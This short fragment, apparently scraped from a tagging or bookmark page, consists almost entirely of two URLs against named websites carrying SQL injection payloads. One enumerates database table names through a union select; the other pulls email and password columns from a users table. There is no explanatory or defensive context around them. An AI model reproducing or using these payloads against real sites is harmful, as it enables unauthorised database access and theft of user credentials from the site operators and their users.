Separate names with a comma.
http://www.nordiz.ru/tovar.php?tovar_id=-1+union+select+1,2,3,4,5,group_concat(0x0b,table_name),7,8,9,10,11,12,13,14,15,16,17,18,19,20,group_concat...
http://autotop.com.ua/top.php?cat=-1+union+select+1,2,3,4,concat_ws(0x3a,mail,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+top_users--
